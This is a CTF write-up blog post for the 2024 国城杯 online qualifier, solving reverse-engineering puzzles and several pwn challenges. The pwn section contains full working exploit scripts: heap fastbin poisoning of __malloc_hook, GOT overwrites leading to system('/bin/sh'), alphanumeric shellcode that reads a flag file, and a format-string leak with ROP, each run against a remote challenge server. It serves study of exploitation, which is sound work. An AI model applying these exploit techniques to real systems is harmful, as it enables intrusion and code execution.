2024国城杯线上初赛

Posted by Zephyr on Saturday, December 7, 2024

reverse

大部分reverse是Lily White

round

jadx分析没有原生层,可以直接静态分析

主函数在com.example.demo.MainActivity

用户名和密码都是字母+下划线,makePath.encodeToBase64(obj) 检查发现和正常base64相比交换了每个结果字符的第2、3位

c9m1 bRmf Y5Wk
cm91 bmRf YW5k

image.png

得到用户名为round_and

密码部分需要将密码和round函数杂交得到一个结果,分析发现密码的后一个字符不会影响前一个字符的正确性,因此可以逐字符爆破密码

def makebox(s):
    iArr = [1023-i for i in range(1024)]
    for i in range(1024):
        iArr[i] = iArr[i] ^ ord(s[i%12])
    return iArr;

box = makebox("c9m1bRmfY5Wk") # round_and

def round(iArr, str):
    length = len(str)
    iArr2 = [0 for _ in range(length)]
    iArr3 = [352, 646, 752, 882, 65, 0, 122, 0, 0, 7, 350, 360]
    i = 33
    for i2 in range(0, length):
        charAt = ord(str[i2])
        for _ in range(0, 32):
            i4 = (iArr[i] ^ charAt) % 5
            if i4 == 0:
                charAt = (charAt + iArr[i]) % 1024
                i = (i + charAt) % 1024
            if i4 == 1:
                charAt = (charAt - iArr[i]) % 1024
                i = (i + charAt) % 1024
            if i4 == 2:
                charAt = (charAt ^ iArr[i]) % 1024
                i = (i + charAt) % 1024
            if i4 == 3:
                charAt = (charAt >> 3) % 1024
                i = (i + charAt) % 1024
            if i4 == 4:
                charAt = (charAt << 3) % 1024
                i = (i + charAt) % 1024
        iArr2[i2] = charAt
    # print(iArr2)
    # print(iArr3)
    return iArr2
import string
dic = string.ascii_letters+'_'
print(dic)
iArr3 = [352, 646, 752, 882, 65, 0, 122, 0, 0, 7, 350, 360]
idx = 0
ans = ''

def dfs(idx, ans):
    if idx == len(iArr3):
        print(ans) # _rounD_we_go
        return
    for i in dic:
        res = round(box, ans+i)
        if res[-1] == iArr3[idx]:
            # print(ans+i)
            dfs(idx+1, ans+i)
dfs(0, '')
# print(ans)

D0g3xGC{round_and_rounD_we_go}

Crush’s_secret

自己动调不了,于是静态分析瞪眼法,

findcrypt插件可以识别出来是tea

image.png

同时结合magic_number可以发现0x61C88647

key是

key[0] = 0x5201314;
  key[1] = 0x52013140;
  key[2] = 0x5201314;
  key[3] = 0x52013140;

密文是

v10 = 0x5A764F8A;
  cipher[0] = 0x5B0DF77;
  cipher[1] = 0xF101DF69;
  cipher[2] = 0xF9C14EF4;
  cipher[3] = 0x27F03590;
  cipher[4] = 0x7DF3324F;
  cipher[5] = 0x2E322D74;
  cipher[6] = 0x8F2A09BC;
  cipher[7] = 0xABE2A0D7;
  cipher[8] = 0xC2A09FE;
  cipher[9] = 0x35892BB2;
  cipher[10] = 0x53ABBA12;

用了12轮,编写解密代码

#include <stdio.h>
#include <stdlib.h>

void xtea_decrypt(unsigned int *key, unsigned int *data) {
    unsigned int sum, left, right, index, rounds, e;
    int block_count = 2;

    rounds = 6 + 52 / block_count;
    left = data[0];
    sum = 0 - rounds * 0x61C88647;

    do {
        e = (sum >> 2) & 3;
        for (index = block_count - 1; index > 0; index--) {
            right = data[index - 1];
            data[index] -= (((right >> 5) ^ (left << 2)) + ((left >> 3) ^ (right << 4))) ^
                           ((key[(index ^ e) & 3] ^ right) + (left ^ sum));
            left = data[index];
        }
        right = data[block_count - 1];
        data[0] -= (((key[(index ^ e) & 3] ^ right) + (left ^ sum)) ^
                    (((left << 2) ^ (right >> 5)) + ((right << 4) ^ (left >> 3))));
        left = data[0];
        sum += 0x61C88647;
    } while (--rounds);
}

int main() {
    unsigned int data[12] = {
        0x5A764F8A, 0x5B0DF77, 0xF101DF69, 0xF9C14EF4,
        0x27F03590, 0x7DF3324F, 0x2E322D74, 0x8F2A09BC,
        0xABE2A0D7, 0xC2A09FE, 0x35892BB2, 0x53ABBA12
    };
    unsigned int key[4] = {
        0x5201314, 0x52013140, 0x5201314, 0x52013140
    };

    for (int i = 0; i < 12; i += 2) {
        xtea_decrypt(key, data + i);
    }

    printf("%s\n", (char *)data);
    return 0;
}

输出 The_wind_stops_at_autumn_water_and_I_stop_at_you

然后包上**D0g3xGC{(.*)}**

FunMz

分析发现输入分为两个部分,第一次输入UDLRFB旋转魔方,第二次输入hjkl在魔方展开图上移动。dump出来位于0x14E868的长度27*36=972的数组就是展开图。默认的展开图如下:

image.png

猜测数字代表颜色,旋转复位后发现得到了一条通路

image.png

UUDDLLRRFFBB
lljjlllllllkllllllllljjjljllllkkkllllkkkllljjj

image.png

D0g3xGC{17A2D9ADF83E739AF392D287178A6C96}

复原脚本

map_1 = [-1, -1, -1, -1, -1, -1, -1, -1, -1, 5, 5, 5, 6, 6, 6, 5, 5, 5, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 5, 0, 0, 0, 0, 0, 5, 0, 5, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 5, 0, 5, 0, 6, 6, 5, 5, 5, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 6, 6, 0, 0, 0, 5, 6, 6, 6, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 6, 0, 0, 5, 5, 5, 6, 6, 6, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 6, 6, 6, 0, 0, 0, 6, 6, 6, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 5, 5, 5, 6, 6, 6, 0, 5, 5, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 5, 0, 5, 0, 0, 0, 5, 5, 5, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 5, 5, 5, 6, 6, 6, 5, 5, 5, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 4, 4, 4, 3, 3, 3, 4, 4, 4, 1, 1, 1, 2, 2, 2, 0, 0, 1, 3, 3, 3, 4, 4, 4, 3, 3, 3, 2, 2, 2, 1, 1, 1, 2, 2, 2, 4, 4, 4, 0, 0, 0, 0, 4, 0, 0, 0, 1, 2, 0, 2, 0, 1, 1, 0, 3, 3, 4, 4, 0, 0, 3, 3, 2, 0, 0, 0, 0, 0, 2, 0, 2, 4, 0, 0, 3, 3, 3, 4, 4, 4, 1, 0, 1, 2, 2, 2, 1, 1, 1, 0, 3, 3, 4, 4, 0, 0, 3, 3, 2, 0, 2, 1, 1, 0, 2, 2, 2, 0, 0, 0, 4, 4, 0, 0, 3, 3, 2, 0, 2, 1, 1, 0, 2, 2, 2, 4, 4, 4, 3, 3, 3, 4, 4, 4, 1, 0, 0, 2, 2, 2, 0, 0, 0, 3, 0, 3, 0, 0, 0, 0, 0, 0, 0, 0, 2, 1, 1, 1, 2, 0, 2, 4, 0, 4, 3, 3, 0, 0, 0, 0, 0, 0, 1, 2, 0, 2, 0, 1, 1, 3, 0, 3, 4, 4, 0, 0, 3, 0, 2, 2, 2, 0, 0, 0, 2, 2, 2, 4, 4, 4, 3, 3, 0, 4, 4, 4, 1, 0, 1, 2, 0, 2, 0, 1, 1, 4, 4, 4, 3, 3, 3, 4, 4, 4, 1, 0, 1, 2, 0, 2, 0, 1, 1, 3, 0, 0, 4, 4, 0, 0, 3, 0, 2, 2, 2, 1, 0, 1, 2, 2, 2, 4, 0, 4, 0, 3, 3, 4, 0, 4, 1, 0, 1, 2, 0, 0, 0, 1, 1, 3, 3, 0, 4, 4, 4, 0, 3, 0, 2, 2, 2, 0, 0, 1, 2, 0, 2, 4, 4, 4, 3, 3, 3, 4, 4, 4, 1, 0, 1, 2, 2, 2, 1, 1, 1, 3, 3, 3, 4, 4, 4, 3, 3, 3, 2, 2, 2, 1, 0, 1, 2, 2, 2, -1, -1, -1, -1, -1, -1, -1, -1, -1, 6, 0, 6, 5, 5, 5, 6, 6, 6, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 6, 0, 0, 0, 5, 0, 6, 6, 6, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 6, 0, 6, 5, 5, 0, 6, 6, 6, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 5, 5, 0, 6, 6, 6, 5, 5, 5, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 5, 5, 5, 0, 6, 0, 5, 5, 5, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 5, 5, 5, 6, 6, 0, 5, 0, 5, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 6, 6, 6, 5, 0, 5, 0, 6, 6, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 6, 6, 6, 5, 0, 5, 0, 6, 6, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 6, 6, 6, 5, 0, 5, 6, 6, 6, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1]
begin_x, begin_y = 0xb, 0x1
end_x, end_y = 0xd, 0x1f

def print_map(map_final):
    for i in range(27):
        for j in range(36):
            if map_final[i*36+j] == 4294967295:
                print(' ', end=' ')
            elif map_final[i*36+j] != 0:
                print(map_final[i*36+j], end=' ')
                # print('🔳', end='')
            elif (i,j) == (begin_x,begin_y):
                print('S', end=' ')
            elif (i,j) == (end_x, end_y):
                print('X', end=' ')
            elif map_final[i*36+j] == 0:
                print(' ', end=' ')
        print('')
    print('')
def flatten(orig):
    return [orig[i:i+36] for i in range(0,36*27,36)]

def expand(orig):
    res = []
    for i in range(len(orig)):
        # print(i)
        res = res + orig[i]
    return res

def rotate_U(orig):
    cp = flatten(orig.copy())
    # print(cp)
    cp[9] = cp[9][9:] + cp[9][:9]
    cp[10] = cp[10][9:] + cp[10][:9]
    cp[11] = cp[11][9:] + cp[11][:9]
    u = [[0 for j in range(9)] for i in range(9)]
    v = [[0 for j in range(9)] for i in range(9)]
    for i in range(9):
        for j in range(9):
            u[i][j] = cp[i][j+9]
    for i in range(9):
        for j in range(9):
            v[j][8-i] = u[i][j]
    for i in range(9):
        for j in range(9):
            cp[i][j+9] = v[i][j]
    return expand(cp)
def rotate_D(orig):
    cp = flatten(orig.copy())
    # print(cp)
    cp[15] = cp[15][9:] + cp[15][:9]
    cp[16] = cp[16][9:] + cp[16][:9]
    cp[17] = cp[17][9:] + cp[17][:9]
    u = [[0 for j in range(9)] for i in range(9)]
    v = [[0 for j in range(9)] for i in range(9)]
    for i in range(9):
        for j in range(9):
            u[i][j] = cp[i+18][j+9]
    for i in range(9):
        for j in range(9):
            v[8-j][i] = u[i][j]
    for i in range(9):
        for j in range(9):
            cp[i+18][j+9] = v[i][j]
    return expand(cp)
def rotate_L(orig):
    cp = flatten(orig.copy())
    # print(cp)
    tmp1 = [cp[i][9:12] for i in range(0,18)]
    tmp2 = [cp[i][9:12] for i in range(18,27)]
    tmp3 = [cp[i][33:36] for i in range(9,18)]
    for i in range(0,18):
        for j in range(0,3):
            cp[i+9][j+9] = tmp1[i][j]
    for i in range(0,9):
        for j in range(0,3):
            cp[i+9][j+33] = tmp2[8-i][2-j]
    for i in range(0,9):
        for j in range(0,3):
            cp[i][j+9] = tmp3[8-i][2-j]
    u = [[0 for j in range(9)] for i in range(9)]
    v = [[0 for j in range(9)] for i in range(9)]
    for i in range(9):
        for j in range(9):
            u[i][j] = cp[i+9][j]
    for i in range(9):
        for j in range(9):
            v[j][8-i] = u[i][j]
    for i in range(9):
        for j in range(9):
            cp[i+9][j] = v[i][j]
    return expand(cp)
def rotate_R(orig):
    cp = flatten(orig.copy())
    # print(cp)
    tmp1 = [cp[i][15:18] for i in range(9,27)]
    tmp2 = [cp[i][15:18] for i in range(0,9)]
    tmp3 = [cp[i][27:30] for i in range(9,18)]
    for i in range(0,18):
        for j in range(0,3):
            cp[i][j+15] = tmp1[i][j]
    for i in range(0,9):
        for j in range(0,3):
            cp[i+9][j+27] = tmp2[8-i][2-j]
    for i in range(0,9):
        for j in range(0,3):
            cp[i+18][j+15] = tmp3[8-i][2-j]
    u = [[0 for j in range(9)] for i in range(9)]
    v = [[0 for j in range(9)] for i in range(9)]
    for i in range(9):
        for j in range(9):
            u[i][j] = cp[i+9][j+18]
    for i in range(9):
        for j in range(9):
            v[j][8-i] = u[i][j]
    for i in range(9):
        for j in range(9):
            cp[i+9][j+18] = v[i][j]
    return expand(cp)
def rotate_F(orig):
    cp = flatten(orig.copy())
    # print(cp)
    tmp1 = [cp[i][9:18] for i in range(6,9)]
    tmp2 = [cp[i][9:18] for i in range(18,21)]
    tmp3 = [cp[i][6:9] for i in range(9,18)]
    tmp4 = [cp[i][18:21] for i in range(9,18)]
    for i in range(0,3):
        for j in range(0,9):
            cp[j+9][20-i] = tmp1[i][j]
    for i in range(0,3):
        for j in range(0,9):
            cp[j+9][8-i] = tmp2[i][j]
    for i in range(0,9):
        for j in range(0,3):
            cp[j+6][17-i] = tmp3[i][j]
    for i in range(0,9):
        for j in range(0,3):
            cp[j+18][17-i] = tmp4[i][j]
    u = [[0 for j in range(9)] for i in range(9)]
    v = [[0 for j in range(9)] for i in range(9)]
    for i in range(9):
        for j in range(9):
            u[i][j] = cp[i+9][j+9]
    for i in range(9):
        for j in range(9):
            v[j][8-i] = u[i][j]
    for i in range(9):
        for j in range(9):
            cp[i+9][j+9] = v[i][j]
    return expand(cp)
def rotate_B(orig):
    cp = flatten(orig.copy())
    # print(cp)
    tmp1 = [cp[i][9:18] for i in range(0,3)]
    tmp2 = [cp[i][9:18] for i in range(24,27)]
    tmp3 = [cp[i][0:3] for i in range(9,18)]
    tmp4 = [cp[i][24:27] for i in range(9,18)]
    for i in range(0,3):
        for j in range(0,9):
            cp[j+9][26-i] = tmp1[i][j]
    for i in range(0,3):
        for j in range(0,9):
            cp[j+9][2-i] = tmp2[i][j]
    for i in range(0,9):
        for j in range(0,3):
            cp[j][17-i] = tmp3[i][j]
    for i in range(0,9):
        for j in range(0,3):
            cp[j+24][17-i] = tmp4[i][j]
    u = [[0 for j in range(9)] for i in range(9)]
    v = [[0 for j in range(9)] for i in range(9)]
    for i in range(9):
        for j in range(9):
            u[i][j] = cp[i+9][j+27]
    for i in range(9):
        for j in range(9):
            v[8-j][i] = u[i][j]
    for i in range(9):
        for j in range(9):
            cp[i+9][j+27] = v[i][j]
    return expand(cp)
cur = map_1
res = ''
while True:
    print_map(cur)
    c = input().strip()
    if c == 'U': cur = rotate_U(cur)
    if c == 'D': cur = rotate_D(cur)
    if c == 'L': cur = rotate_L(cur)
    if c == 'R': cur = rotate_R(cur)
    if c == 'F': cur = rotate_F(cur)
    if c == 'B': cur = rotate_B(cur)
    res += c
    print(res)

easy_key

sub_180001a30

windows c++

image.png

Entry里0x180002450会查找所有的 \Driver\Kbdclass 设备,然后都create一个device并用IoAttachDeviceToDeviceStack在这些设备前插一个本设备,并把老的设备取消注册,相当于所有键盘操作会被发送到本驱动

image.png

然后除了Read以外的MajorFunction都会直接被0x1800013A0函数转发给原来的keyboard设备,而Read有特殊处理,在 0x180001840 里先注册了一个CompletionRoutine到0x180001A30,然后再把请求转发到原驱动

image.png

0x180001A30里面就是在记录键盘操作,记录MarkCode到 recorded_keys (0x180010000)里

然后遇到Enter会做特殊操作,大约是检查记录的 recorded_keys 是否等于特定序列,dump出来还原一下序列即可

image.png

table问的gpt

keys = [32,42,11,34,4,45,34,42,46,42, 26, 42, 30, 7, 7, 48, 3, 4, 5, 3, 12, 11, 5, 32, 5, 12, 5, 7, 9, 30, 12, 10, 10, 32 , 4, 12, 8, 18, 32, 48, 30, 5, 46, 10, 11, 11, 2, 33, 27, 42]

d = {0x1E: "A", 0x30: "B", 0x2E: "C", 0x20: "D", 0x12: "E", 0x21: "F", 0x22: "G", 0x23: "H", 0x17: "I", 0x24: "J", 0x25: "K", 0x26: "L", 0x32: "M", 0x31: "N", 0x18: "O", 0x19: "P", 0x10: "Q", 0x13: "R", 0x1F: "S", 0x14: "T", 0x16: "U", 0x2F: "V", 0x11: "W", 0x2D: "X", 0x15: "Y", 0x2C: "Z", 0x02: "1", 0x03: "2", 0x04: "3", 0x05: "4", 0x06: "5", 0x07: "6", 0x08: "7", 0x09: "8", 0x0A: "9", 0x0B: "0", 0x2a: "[shift]", 0xc: "-"}

i = 0

while i < len(keys):
    v = keys[i]
    if v in d:
        if i + 1 < len(keys) and keys[i + 1] == 0x2a: # shift
            print(d[v], end = "")
            i += 1
        else:
            print(d[v].lower(), end = "")
    else:
        print(f"[{hex(v)}]", end="")
    i += 1

D0g3xGC{a66b2342-04d4-468a-99d3-7edba4c9001f}

Pwn

vtable_hijack

libc2.23

全是洞,delete的时候没有将堆指针置空有uaf,edit的时候是按照用户输入的大小读入的,有堆溢出,先开两个bin进到Unsortedbin然后free上面那个,然后show可以leak libc,然后fastbin poison fd来将fastbin的fd改到mallochook上面打one_gadget,可以打通


from pwn import *
# from pwncli import *

# Debug : python3 exp.py debug elf-file-path -t -b malloc -b \$rebase(0x3000)
# Remote: python3 exp.py remote elf-file-path ip:port

# cli_script()

context.arch  = "amd64"
context.log_level = "debug"
context.terminal =['tmux','splitw','-h']
file_path = "./pwn"
libc_path = "libc.so.6"

# libc = ELF(libc_path)

# p = process(file_path)
p = remote("125.70.243.22",31369)
elf = ELF(file_path)

libc = ELF(libc_path)

def house_of_some_read(read_from, length, _chain):
    fake_IO_FILE = IO_FILE_plus_struct()
    fake_IO_FILE.flags = 0x8000 | 0x40 | 0x1000
    fake_IO_FILE.fileno = 0
    fake_IO_FILE._mode = 0
    fake_IO_FILE._IO_write_base = read_from
    fake_IO_FILE._IO_write_ptr = read_from + length
    fake_IO_FILE.chain = _chain
    fake_IO_FILE.vtable = libc.sym['_IO_file_jumps'] - 0x8
    return bytes(fake_IO_FILE)

def house_of_some_write(write_from, length, _chain):
    fake_IO_FILE = IO_FILE_plus_struct()
    fake_IO_FILE.flags = 0x8000 | 0x800 | 0x1000
    fake_IO_FILE.fileno = 1
    fake_IO_FILE._mode = 0
    fake_IO_FILE._IO_write_base = write_from
    fake_IO_FILE._IO_write_ptr = write_from + length
    fake_IO_FILE.chain = _chain
    fake_IO_FILE.vtable = libc.sym['_IO_file_jumps']
    return bytes(fake_IO_FILE)

def cmd(i, prompt=b'choice:'):
    p.sendlineafter(prompt, str(i))

def add(index,size):
    cmd(1)
    p.sendlineafter(b"index:",str(index))
    p.sendlineafter(b"size:",str(size))

def edit(idx, length,paylaod):
    cmd(3)
    p.sendlineafter(b"index:",str(idx))
    p.sendlineafter(b"length:",str(length))
    p.sendafter(b"content:",paylaod)

def show(idx):
    cmd(4)
    p.sendlineafter(b"index:",str(idx))

def delete(idx):
    cmd(2)
    p.sendlineafter(b"index:",str(idx))

# one_gadgets: list = get_current_one_gadget_from_libc(more=False)
# one_gadgets: one_gadget_binary(binary_path, more)
# CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)
# Shellcode:ShellcodeMall.amd64
# tcache safelinking: protect_ptr(address, next)
# tcache safelinking_de: reveal_ptr(data)
# recvlibc: recv_current_libc_addr(offset(int), timeout(int))
# set_libcbase: set_current_libc_base_and_log(addr(int), offset(str or int))
# set_elfbase: set_current_code_base_and_log(addr, offset)

# while True:
#         sh=process("./baby_diary")
#         #sh=remote('8.140.114.72', 1399)
#         try:
#             pwn2()
#             gdb.attach(sh)
#             sh.interactive()
#         except:
#             sh.close()

# burp:
# for i in range(0x10):
#     try:
#         new_func()
#     except EOFError:
#         gift.io = copy_current_io()

add(0,0x100)
add(1,0x100)
delete(0)
show(0)
p.recvline()
leak_libc = u64(p.recv(6).ljust(8,b"\x00"))
libc_base = leak_libc - 0x39bb78
libc.address = libc_base
success(hex(leak_libc))

malloc_hook = libc.sym['__malloc_hook']
realloc_hook = libc.sym['__realloc_hook']

# fake_v_table = 
og = [0x3f3e6,0x3f43a,0xd5c07]

add(2,0x60)
delete(2)
addr = libc_base + 0x39bafd
edit(2, 0x60,p64(malloc_hook - 0x23))
add(3,0x60)
add(4,0x60)
edit(4,0x60,flat(
    b'a'*0x13 + p64(og[2] + libc_base)
))

add(5,0x60)
# gdb.attach(p)

p.interactive()

beverage store

check vip内strcpy越界能够覆盖srand seed,覆盖为指定种子后用相同rand打通检查

buy内的下标v0没有小于0的检测,因此可以返回来改地址在 0x4040?0 的got表,第一次把exit改为buy,第二次leak已有的__isoc99_scanf得到libc基址,第三次把printf改为system,第四次把puts改为vuln可以执行system(”/bin/sh”)

from pwn import *
import os 
dir_path = os.path.dirname(os.path.realpath(__file__))
exe_path = dir_path + '/pwn'
libc_path = dir_path + '/libc.so.6'
ld_path = dir_path + '/ld-linux-x86-64.so.2'
libc = ELF(libc_path)

context.log_level = 'debug'
context.terminal =['tmux','splitw','-h']
# context.arch = 'amd64'
exe = ELF(exe_path)

# con = process(exe_path)
# con = process([ld_path, exe_path], env={"LD_PRELOAD": libc_path})
con = remote('125.70.243.22', 31521)

# gdb.attach(con, gdbscript=
# '''
# set exception-verbose on
# b vuln
# ''')

con.sendafter(b'input yours id', b'aaaaaaaa'*2)
val = 0xa6381cc
con.sendlineafter(b'Input yours id authentication code:', str(val).encode())

# 0x401170
# 0x4040A0
offset = 0x4040A0 - 0x404060
offset //= 16
addr_buy = 0x40133b
con.sendlineafter(b'4 wine', str(-offset).encode())
con.sendafter(b'which one to choose', p64(addr_buy))
con.recvline()
res = con.recvline()
print(res)

off2 = 0x4040A0 - 0x404050
off2 //= 16
con.sendlineafter(b'4 wine', str(-off2).encode())
con.sendafter(b'which one to choose', b'aaaaaaaa')
con.recvline()
con.recvline()
res = con.recvline()[8:-1]
res = u64(res+b'\0\0')
print(hex(res))
offset_system = 0x0000000000050d70
offset___isoc99_scanf = 0x0000000000062090

off3 = 0x4040A0 - 0x404030
off3 //= 16
con.sendlineafter(b'4 wine', str(-off3).encode())
con.sendafter(b'which one to choose', p64(res - offset___isoc99_scanf + offset_system))
off4 = 0x4040A0 - 0x404020
off4 //= 16
con.sendlineafter(b'4 wine', str(-off4).encode())
con.sendafter(b'which one to choose', p64(0x401511))

con.interactive()

Alpha_Shell

有沙箱

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x0c 0xc000003e  if (A != ARCH_X86_64) goto 0014
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x09 0xffffffff  if (A != 0xffffffff) goto 0014
 0005: 0x15 0x07 0x00 0x00000000  if (A == read) goto 0013
 0006: 0x15 0x06 0x00 0x00000001  if (A == write) goto 0013
 0007: 0x15 0x05 0x00 0x00000002  if (A == open) goto 0013
 0008: 0x15 0x04 0x00 0x00000013  if (A == readv) goto 0013
 0009: 0x15 0x03 0x00 0x00000014  if (A == writev) goto 0013
 0010: 0x15 0x02 0x00 0x0000003b  if (A == execve) goto 0013
 0011: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0013
 0012: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0013: 0x06 0x00 0x00 0x80000000  return KILL_PROCESS
 0014: 0x06 0x00 0x00 0x00000000  return KILL

禁用了execve,打orw,shellcode题,开局就可以读入0x150个bytes的shellcode,但是只能是字母和数字

v5 = read(0, buf, 0x150uLL);
for ( i = 0; i < v5; ++i )
{
  if ( (buf[i] <= 47 || buf[i] > 57) && (buf[i] <= 64 || buf[i] > 90) && (buf[i] <= 96 || buf[i] > 122) )
  {
    puts("Invalid character detected!");
    exit(1);
  }
}

github上的现成项目ae64可以用来生成字母shellcodehttps://github.com/veritas501/ae64.git

没有禁用openat,可以来代替open,同时sendfile可以用来代替read和write,openat之后fd是3,然后利用sendfile将fd=3的flag内容输出到stdout上即可。

from pwn import *
import os 
from ae64 import AE64
dir_path = os.path.dirname(os.path.realpath(__file__))
exe_path = dir_path + '/pwn'
libc_path = dir_path + '/libc.so.6'
ld_path = dir_path + '/ld-linux-x86-64.so.2'
# libc = ELF(libc_path)

context.log_level = 'debug'
context.terminal =['tmux','splitw','-h']
context.arch = 'amd64'
exe = ELF(exe_path)

# con = process(exe_path)
# con = process([ld_path, exe_path], env={"LD_PRELOAD": libc_path})
con = remote('125.70.243.22', 31375)

# gdb.attach(con, gdbscript=
# '''
# set exception-verbose on
# b *main+0x1ac
# c
# si
# ''')

shellcode = asm('''
    mov rax, 0x0067616c662f
    push rax
    mov rsi, rsp
    xor rdx, rdx
    xor r10, r10
    xor rdi, rdi
    mov rax, 257
    syscall
    mov rsi, rax
    mov rax, 40
    mov rdi, 1
    xor rdx, rdx
    mov r10, 0x1000
    syscall
''')

# get alphanumeric shellcode
enc_shellcode = AE64().encode(shellcode, 'rcx', 0, 'fast')
con.send(enc_shellcode.decode('latin-1'))
con.interactive()

Offensive_Security

自定义lib,login内有格式化字符串漏洞,可以直接读取password值通过检测,同时剩下12个字符用于后续leak

通过login后main调用vuln,在lib中开创两个线程checker和guess,由于checker内先fread了/dev/random导致checker的scanf在远程触发比guess中的scanf慢,因此在通过login后同时发送两个”1\n”会先被guess的scanf读取,将token改为1后第二个1被checker读取,通过检查

shell中可以栈溢出,在格式化字符串的login时观察发现rcx值为write+23,可以在login时同时leak出来得到libc,利用libc里的gadget打rop system(”/bin/sh”)

from pwn import *
import os 
dir_path = os.path.dirname(os.path.realpath(__file__))
exe_path = dir_path + '/pwn'
libc_path = dir_path + '/lib2shell.so'
ld_path = dir_path + '/ld-linux-x86-64.so.2'
libc = ELF(libc_path)

context.log_level = 'debug'
context.terminal =['tmux','splitw','-h']
# context.arch = 'amd64'
exe = ELF(exe_path)

# con = process(exe_path)
# con = process([ld_path, exe_path], env={"LD_PRELOAD": libc_path})
con = remote('125.70.243.22', 31766)

# gdb.attach(con, gdbscript=
# '''
# set exception-verbose on
# b *shell+0x6e
# c
# ''')

con.sendafter(b'Please input your Username:', b'%7$s%3$p%6$p')
con.recvuntil(b'Welcome,')
con.recvline()
ans = con.recv()
write_addr = int(ans[14:28], 16) - 23
print(ans)
print(hex(write_addr))
# print(hex(u64(ans[:8])))
con.send(p64(u64(ans[:8])))
con.sendline(b'1')
con.sendline(b'1')
con.recvuntil(b'>')
libc_base = write_addr - 0x114870

one_gads = [0xebc81, 0xebc85, 0xebc88, 0xebce2, 0xebd38, 0xebd3f, 0xebd43]
idx = 6
one_gadget = libc_base + one_gads[idx]
con.send(p64(0)*4+p64(libc_base+0x21b780)+p64(libc_base+0x2a3e5)+p64(libc_base+0x1d8678)+p64(libc_base+0x2a3e6)+p64(libc_base+0x50d70))
con.interactive()